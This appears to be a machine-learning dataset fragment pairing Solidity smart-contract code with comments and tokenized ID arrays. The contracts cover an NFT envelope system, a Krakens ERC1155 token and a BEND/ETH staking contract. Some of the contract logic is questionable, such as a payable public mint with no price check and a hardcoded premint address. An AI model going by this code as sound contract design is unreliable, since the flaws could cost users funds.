} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function getBalance()
external view
returns(uint256)
{
if(_root != _msgSender())
revert RootAddressError();
return address(this).balance;
}
function withdraw(address _to,uint256 _amount)
external
{
if(_root != _msgSender())
revert RootAddressError();
if(address(this).balance < _amount)
revert LackOfMoney();
payable(_to).transfer(_amount);
}
}
// File: ERC721AToken.sol
// Creator: Chiru Labs & OZ
pragma solidity ^0.8.4;
/**
* @title ERC721A Base Token
* @dev ERC721A Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721AToken is Context, Ownership, ERC721A {
using Strings for uint256;
/**
* @dev See {IERC721Metadata-name}.
*/
function name()
external view virtual
override
returns(string memory)
{
return _contractData.name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol()
external view virtual
override
returns(string memory)
{
return _contractData.symbol;
}
function baseTokenURI()
external view
returns(string memory)
{
return _contractData.baseURL;
}
function contractURI()
external view
returns(string memory)
{
return _contractData.contractURL;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
external view
override
returns(string memory)
{
if (!_exists(tokenId))
revert URIQueryForNonexistentToken();
return string(
abi.encodePacked(
_contractData.baseURL,
"/",
Strings.toString(tokenId),
".json"
));
}
function decimals()
external pure
returns(uint8)
{
return 0;
}
/**
* @dev Burns `tokenId`. See {ERC721A-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId)
internal
{
if(!_contractData.isEnvelope)
if(IEnvelope(_envelopeTypes.envelope).locked(address(this),tokenId))
revert AssetLocked();
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner)
revert TransferCallerNotOwnerNorApproved();
_burn(tokenId);
}
}
// File: IAsset.sol
// Creator: OZ
pragma solidity ^0.8.4;
interface IAsset {
function checkMint(address _owner,uint256 _quantity) external returns(uint256);
function locked(uint256 _assetId) external view returns(bool);
function ownerOfAsset(uint256 _assetId) external view returns(address);
}
// File: ERC721AEnvelope.sol
// Creator: OZ
pragma solidity ^0.8.4;
//import "hardhat/console.sol";
abstract contract ERC721AEnvelope is Array, Context, ERC721AToken {
using Math for uint256;
function _mintSetOfAssets(address _owner,uint _quantity)
internal
{
unchecked {
for(uint i = 0; i < _envelopeTypes.types.length; i++) {
(bool success,bytes memory res) = _envelopeTypes.types[i].call(
abi.encodeWithSignature("safeMint(address,uint256)",
_owner,
_quantity
)
);
if(!success)
revert Err();
}
}
}
function _envelopeAssets(uint256 _envelopeId)
internal view
returns(address[] memory,uint256[] memory)
{
unchecked {
uint len = 0;
for (uint i = 0; i < _envelopeTypes.types.length; i++) {
len++;
}
address[] memory addrs = new address[](len);
uint256[] memory tokens = new uint256[](len);
len = 0;
for (uint i = 0; i < _envelopeTypes.types.length; i++) {
addrs[len] = _envelopeTypes.types[i];
tokens[len++] = _assetsEnvelope[_envelopeId][_envelopeTypes.types[i]];
}
return (addrs,tokens);
}
}
function _envelopeSplit(address _owner,uint256 _envelopeId)
internal
returns(address[] memory,uint256[] memory)
{
OwnerOnly(_owner,_envelopeId);
(address[] memory addrs,uint256[] memory tokens) = _envelopeAssets(_envelopeId);
_burn(_envelopeId);
_transferEnvelope(_owner,_envelopeId);
unchecked {
for(uint i = 0; i < addrs.length; i++) {
_unlockEnvelopeAsset(
_envelopeId,
addrs[i],
tokens[i]
);
}
}
return (addrs,tokens);
}
function _unlockEnvelopeAsset(uint256 _envelopeId,address _asset,uint256 _assetId)
internal
{
if(!_locked(_asset,_assetId))
revert AssetNotLocked();
if(_msgSender() != IAsset(_asset).ownerOfAsset(_assetId))
revert CallerNotOwnerNorApproved();
delete _assetsEnveloped[_asset][_assetId];
delete _assetsEnvelope[_envelopeId][_asset];
}
function _envelopeCreate(address _owner,address[] calldata _assets,uint256[] calldata _assetIds)
internal
returns(uint256)
{
if(
_assets.length == 0 &&
_assets.length != _assetIds.length
) revert Err();
uint256 envelopeId = _currentIndex;
_safeMint(_owner,1);
unchecked {
_assetsEnvelope[envelopeId][_envelopeTypes.envelope] = envelopeId;
for(uint i = 0; i < _assets.length; i++) {
if(_locked(_assets[i],_assetIds[i]))
revert AssetLocked();
if(_owner != IAsset(_assets[i]).ownerOfAsset(_assetIds[i]))
revert CallerNotOwnerNorApproved();
_assetsEnvelope[envelopeId][_assets[i]] = _assetIds[i];
_assetsEnveloped[_assets[i]][_assetIds[i]] = true;
}
}
return envelopeId;
}
function _locked(address _asset,uint256 _assetId)
internal view
returns(bool)
{
if (_contractData.isEnvelope)
return _assetsEnveloped[_asset][_assetId];
else
return IAsset(_envelopeTypes.envelope).locked(_assetId);
}
}
// File: Master.sol
// Creator: OZ
pragma solidity ^0.8.4;
abstract contract Master is ERC721AEnvelope {
constructor() {
_root = _msgSender();
_contractData.isRevealed = false;
_contractData.mintStatus = MintStatus.NONE;
_contractData.mintStatusAuto = true;
_mintSettings.mintOnPresale = 1; // number of tokens on presale
_mintSettings.maxMintPerUser = 2; // max tokens on sale
_mintSettings.minMintPerUser = 1; // min tokens on sale
_mintSettings.maxTokenSupply = 5000;
_mintSettings.priceOnPresale = 37500000000000000; // in wei, may be changed later
_mintSettings.priceOnSale = 47500000000000000; // in wei, may be changed later
_mintSettings.envelopeConcatPrice = 0; // in wei, may be changed later
_mintSettings.envelopeSplitPrice = 0; // in wei, may be changed later
_mintSettings.mintStatusPreale = 1649683800; // Monday, April 11, 2022 2:00:00 PM GMT
_mintSettings.mintStatusSale = 1649734200; // Tuesday, April 12, 2022 3:30:00 AM
_mintSettings.mintStatusFinished = 0; //does not specified
}
function exists(uint256 tokenId)
external view
returns(bool)
{
return _exists(tokenId);
}
function setRoot(address _owner)
external
{
RootOnly();
_root = _owner;
}
function getRoot()
external view
returns(address)
{
return _root;
}
function CheckMintStatus()
internal
{
if(!_contractData.mintStatusAuto)
return;
uint256 mps = _mintSettings.mintStatusPreale;
uint256 ms = _mintSettings.mintStatusSale;
uint256 mf = _mintSettings.mintStatusFinished;
if (mps <= block.timestamp && block.timestamp < ms) {
_contractData.mintStatus = MintStatus.PRESALE;
} else if (ms <= block.timestamp && (block.timestamp < mf || 0 == mf)) {
_contractData.mintStatus = MintStatus.SALE;
} else {
_contractData.mintStatus = MintStatus.NONE;
}
}
function toggleMintStatus(bool _mode)
external
{
RootOnly();
_contractData.mintStatusAuto = _mode;
}
function setMintingIsOnPresale()
external
{
RootOnly();
_contractData.mintStatus = MintStatus.PRESALE;
}
function setMintingIsOnSale()
external
{
RootOnly();
_contractData.mintStatus = MintStatus.SALE;
}
function stopMinting()
external
{
RootOnly();
_contractData.mintStatus = MintStatus.NONE;
}
function updateContract(
uint256 _pricePresale,
uint256 _priceSale,
uint8 _minMint,
uint8 _maxMint,
uint64 _maxSupply
)
external
{
RootOnly();
_mintSettings.priceOnPresale = _pricePresale;
_mintSettings.priceOnSale = _priceSale;
_mintSettings.maxMintPerUser = _maxMint;
_mintSettings.minMintPerUser = _minMint;
_mintSettings.maxTokenSupply = _maxSupply;
}
function setRevealed(string calldata _url)
external
{
RootOnly();
_contractData.isRevealed = true;
_contractData.baseURL = _url;
}
function updateBaseURL(string calldata _url)
external
{
RootOnly();
_contractData.baseURL = _url;
}
}
// File: Contract.sol
// Creator: OZ
pragma solidity ^0.8.4;
contract Contract is Master, IAsset {
constructor(
string memory name_,
string memory description_,
string memory symbol_,
string memory baseURL_,
string memory contractURL_
) ERC721A(
name_,
description_,
symbol_,
baseURL_,
contractURL_
) Master() {
_contractData.isEnvelope = false;
for(uint i = 0; i < 20; i++)
_safeMint(0x47Ae4dBf9fDBac0ebbc473Aacddb22dE13Ba0C38,5);
//_safeMint(_msgSender(),5);
}
function addAssetType(address _asset)
external
{
RootOnly();
_envelopeTypes.envelope = _asset;
}
function safeMint(address _owner,uint256 _quantity)
external
{
RootOnly();
CheckMintStatus();
ActiveMint();
if (_root != _owner)
_checkMint(_owner,_quantity);
_safeMint(_owner,_quantity);
}
function checkMint(address _owner,uint256 _quantity)
external view
override
returns(uint256)
{
_checkMint(_owner,_quantity);
return _numberMinted(_owner) + _quantity;
}
function _checkMint(address _owner,uint256 _quantity)
private view
{
if(!quantityIsGood(_quantity,_numberMinted(_owner),_numberMintedOnPresale(_owner)))
revert OutOfMintBoundaries()
;
if(!supplyIsGood())
revert OutOfMintBoundaries()
;
}
function locked(uint256 _assetId)
external view
override
returns(bool)
{
return IEnvelope(_envelopeTypes.envelope).locked(address(this),_assetId);
}
function ownerOfAsset(uint256 _assetId)
public view
override
returns(address)
{
return ownershipOf(_assetId).addr;
}
function unlock(uint256 _assetId,address _owner)
external
{
address sender = _msgSender();
if (
_root == sender || (
_envelopeTypes.envelope == sender &&
IEnvelope(_envelopeTypes.envelope).locked(address(this),_assetId)
)
) {
if(ownerOfAsset(_assetId) != _owner)
_transfer(ownerOfAsset(_assetId),_owner,_assetId);
} else revert AssetLocked();
}
} | * returnsthe number of tokens burned by or on behalf of `owner`./ | function _numberBurned(address owner)
internal view
returns(uint256)
{
if (owner == address(0))
revert BurnedQueryForZeroAddress();
else return
uint256(_addressData[owner].numberBurned);
}
| 604,362 | [
1,
2463,
334,
580,
1300,
434,
2430,
18305,
329,
635,
578,
603,
12433,
6186,
434,
1375,
8443,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
2696,
38,
321,
329,
12,
2867,
3410,
13,
203,
565,
2713,
1476,
203,
565,
1135,
12,
11890,
5034,
13,
203,
565,
288,
203,
3639,
309,
261,
8443,
422,
1758,
12,
20,
3719,
203,
5411,
15226,
605,
321,
329,
1138,
1290,
7170,
1887,
5621,
203,
3639,
469,
327,
203,
5411,
2254,
5034,
24899,
2867,
751,
63,
8443,
8009,
2696,
38,
321,
329,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0x352bBd0702A4B6275afA215a18cAeD517B378b0C/sources/contracts/PREZALE.sol | can only refund once
| bool refunded; | 4,533,112 | [
1,
4169,
1338,
16255,
3647,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
4202,
1426,
1278,
12254,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Krakens is ERC1155, Ownable {
mapping(uint256 => uint256) public tokenSupply;
mapping(uint256 => uint256) public level;
uint256 public publicMintMax;
uint256 public publicMintLevel;
uint256 public publicMinted;
uint256 private currentTokenID = 99; // 0-99 are reserved for fungible tokens
uint256 public constant minNFTID = 100;
string public name;
string public symbol;
string private _uri;
constructor() ERC1155("https://krakensclub.com/ipfs/"){
name = "Krakens Sailing Club";
symbol = "KRAKENS";
}
function setUri(string memory _newuri) external onlyOwner {
_uri = _newuri;
}
function uri(uint256 _id) override public view returns (string memory) {
return string(abi.encodePacked(_uri, Strings.toString(_id)));
}
function totalSupply(uint256 _id) public view returns (uint256) {
return tokenSupply[_id];
}
function mint(
address _to,
uint256 _level,
uint256 _id,
uint256 _quantity,
bytes memory _data
) external onlyOwner {
if (currentTokenID < _id) {
currentTokenID = _id;
}
_mint(_to, _id, _quantity, _data);
level[_id] = _level;
tokenSupply[_id] += _quantity;
}
function setPublicMint(uint256 _max, uint256 _level) external onlyOwner {
publicMintMax = _max;
publicMintLevel = _level;
publicMinted = 0;
}
function publicMint(uint256 _quantity) external payable {
require(
publicMinted + _quantity <= publicMintMax,
"WOULD_EXCEED_SUPPLY"
);
require(msg.sender == tx.origin, "CONTRACTS_CANNOT_MINT");
_mint(msg.sender, publicMintLevel, _quantity, "");
level[publicMintLevel] = publicMintLevel;
}
function mystic(uint256 _tokenid1, uint256 _tokenid2) external {
require(_tokenid1 != _tokenid2, "MUST_BE_DIFFERENT");
require(_tokenid1 >= minNFTID, "T1_MUST_BE_NFT");
require(_tokenid2 >= minNFTID, "T2_MUST_BE_NFT");
require(balanceOf(msg.sender, _tokenid1) > 0, "MUST_OWN_T1");
require(balanceOf(msg.sender, _tokenid2) > 0, "MUST_OWN_T2");
require(level[_tokenid1] == level[_tokenid2], "MUST_HAVE_SAME_LEVEL");
require(level[_tokenid1] < minNFTID-1, "TOO_HIGH LEVEL");
_safeTransferFrom(msg.sender, owner(), _tokenid1, 1, "");
_safeTransferFrom(msg.sender, owner(), _tokenid2, 1, "");
_mint(msg.sender, level[_tokenid1]+1, 1, "");
}
function swap(uint256 _tokenid1, uint256 _tokenid2) external {
require(_tokenid1 != _tokenid2, "MUST_BE_DIFFERENT");
require(_tokenid1 >= minNFTID, "T1_MUST_BE_NFT");
require(_tokenid2 >= minNFTID, "T2_MUST_BE_NFT");
require(balanceOf(msg.sender, _tokenid1) > 0, "MUST_OWN_T1");
require(balanceOf(msg.sender, _tokenid2) > 0, "MUST_OWN_T2");
require(level[_tokenid1] != level[_tokenid2], "MUST_HAVE_DIFFERENT_LEVELS");
if (level[_tokenid1] < level[_tokenid2]) {
uint256 _temp = level[_tokenid2];
level[_tokenid2] = level[_tokenid1];
level[_tokenid1] = _temp;
} else {
uint256 _temp = level[_tokenid1];
level[_tokenid1] = level[_tokenid2];
level[_tokenid2] = _temp;
}
}
function power(uint256 _tokenid1, uint256 _tokenid2) external {
require(_tokenid1 != _tokenid2, "MUST_BE_DIFFERENT");
require(_tokenid1 >= minNFTID, "T1_MUST_BE_NFT");
require(_tokenid2 >= minNFTID, "T2_MUST_BE_NFT");
require(balanceOf(msg.sender, _tokenid1) > 0, "MUST_OWN_T1");
require(balanceOf(msg.sender, _tokenid2) > 0, "MUST_OWN_T2");
require(level[_tokenid1] == level[_tokenid2], "MUST_HAVE_SAME_LEVEL");
require(level[_tokenid1] < minNFTID-1, "TOO_HIGH LEVEL");
_safeTransferFrom(msg.sender, owner(), _tokenid2, 1, "");
level[_tokenid1] += 1;
}
} | 0-99 are reserved for fungible tokens
| uint256 private currentTokenID = 99; | 5,442,358 | [
1,
20,
17,
2733,
854,
8735,
364,
9831,
75,
1523,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
3238,
23719,
734,
273,
14605,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.4;
pragma abicoder v2;
import {ERC20Detailed} from "../libs/ERC20Detailed.sol";
import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import {DistributionTypes} from "./DistributionTypes.sol";
import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol";
import {SafeERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import {DistributionManager} from "./DistributionManager.sol";
import {IStaked} from "./interfaces/IStaked.sol";
import {ReentrancyGuardUpgradeable} from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
contract StakedBUNI is
IStaked,
ReentrancyGuardUpgradeable,
ERC20Detailed,
DistributionManager
{
using SafeMath for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
address public stakedToken;
address public rewardToken;
address public rewardVault;
mapping(address => uint256) public stakerRewardsToClaim;
/**
* @dev Called by the proxy contract
**/
function initialize(
address _stakedToken,
address _rewardToken,
address _rewardVault,
uint128 distributionDuration
) external initializer {
__ERC20Detailed_init("Staked BEND/ETH UNI", "stkBUNI", 18);
__DistributionManager_init(distributionDuration);
__ReentrancyGuard_init();
stakedToken = _stakedToken;
rewardToken = _rewardToken;
rewardVault = _rewardVault;
}
/**
* @dev Configures the distribution of rewards for a list of assets
* @param emissionPerSecond Representing the total rewards distributed per second per asset unit
**/
function configure(uint128 emissionPerSecond) external override onlyOwner {
DistributionTypes.AssetConfigInput[]
memory assetsConfigInput = new DistributionTypes.AssetConfigInput[](
1
);
assetsConfigInput[0].emissionPerSecond = emissionPerSecond;
assetsConfigInput[0].totalStaked = totalSupply();
assetsConfigInput[0].underlyingAsset = address(this);
_configureAssets(assetsConfigInput);
}
function stake(uint256 amount) external override nonReentrant {
require(amount != 0, "INVALID_ZERO_AMOUNT");
uint256 balanceOfUser = balanceOf(msg.sender);
uint256 accruedRewards = _updateUserAssetInternal(
msg.sender,
address(this),
balanceOfUser,
totalSupply()
);
if (accruedRewards != 0) {
emit RewardsAccrued(msg.sender, accruedRewards);
stakerRewardsToClaim[msg.sender] = stakerRewardsToClaim[msg.sender]
.add(accruedRewards);
}
IERC20Upgradeable(stakedToken).safeTransferFrom(
msg.sender,
address(this),
amount
);
_mint(msg.sender, amount);
emit Staked(msg.sender, amount);
}
/**
* @dev Redeems staked tokens, and stop earning rewards
* @param amount Amount to redeem
**/
function redeem(uint256 amount) external override nonReentrant {
require(amount != 0, "INVALID_ZERO_AMOUNT");
uint256 balanceOfMessageSender = balanceOf(msg.sender);
uint256 amountToRedeem = (amount > balanceOfMessageSender)
? balanceOfMessageSender
: amount;
_updateCurrentUnclaimedRewards(
msg.sender,
balanceOfMessageSender,
true
);
_burn(msg.sender, amountToRedeem);
IERC20Upgradeable(stakedToken).safeTransfer(msg.sender, amountToRedeem);
emit Redeem(msg.sender, amountToRedeem);
}
/**
* @dev Claims an `amount` of `REWARD_TOKEN` to the address `to`
* @param amount Amount to stake
**/
function claim(uint256 amount) external override nonReentrant {
require(amount != 0, "INVALID_ZERO_AMOUNT");
uint256 newTotalRewards = _updateCurrentUnclaimedRewards(
msg.sender,
balanceOf(msg.sender),
false
);
uint256 amountToClaim = (amount == type(uint256).max)
? newTotalRewards
: amount;
stakerRewardsToClaim[msg.sender] = newTotalRewards.sub(
amountToClaim,
"INVALID_AMOUNT"
);
IERC20Upgradeable(rewardToken).safeTransferFrom(
rewardVault,
msg.sender,
amountToClaim
);
emit RewardsClaimed(msg.sender, amountToClaim);
}
/**
* @dev Internal ERC20 _transfer of the tokenized staked tokens
* @param from Address to transfer from
* @param to Address to transfer to
* @param amount Amount to transfer
**/
function _transfer(
address from,
address to,
uint256 amount
) internal override {
uint256 balanceOfFrom = balanceOf(from);
// Sender
_updateCurrentUnclaimedRewards(from, balanceOfFrom, true);
// Recipient
if (from != to) {
uint256 balanceOfTo = balanceOf(to);
_updateCurrentUnclaimedRewards(to, balanceOfTo, true);
}
super._transfer(from, to, amount);
}
/**
* @dev Updates the user state related with his accrued rewards
* @param user Address of the user
* @param userBalance The current balance of the user
* @param updateStorage Boolean flag used to update or not the stakerRewardsToClaim of the user
* @return The unclaimed rewards that were added to the total accrued
**/
function _updateCurrentUnclaimedRewards(
address user,
uint256 userBalance,
bool updateStorage
) internal returns (uint256) {
uint256 accruedRewards = _updateUserAssetInternal(
user,
address(this),
userBalance,
totalSupply()
);
uint256 unclaimedRewards = stakerRewardsToClaim[user].add(
accruedRewards
);
if (accruedRewards != 0) {
if (updateStorage) {
stakerRewardsToClaim[user] = unclaimedRewards;
}
emit RewardsAccrued(user, accruedRewards);
}
return unclaimedRewards;
}
/**
* @dev Return the total rewards pending to claim by an staker
* @param staker The staker address
* @return The rewards
*/
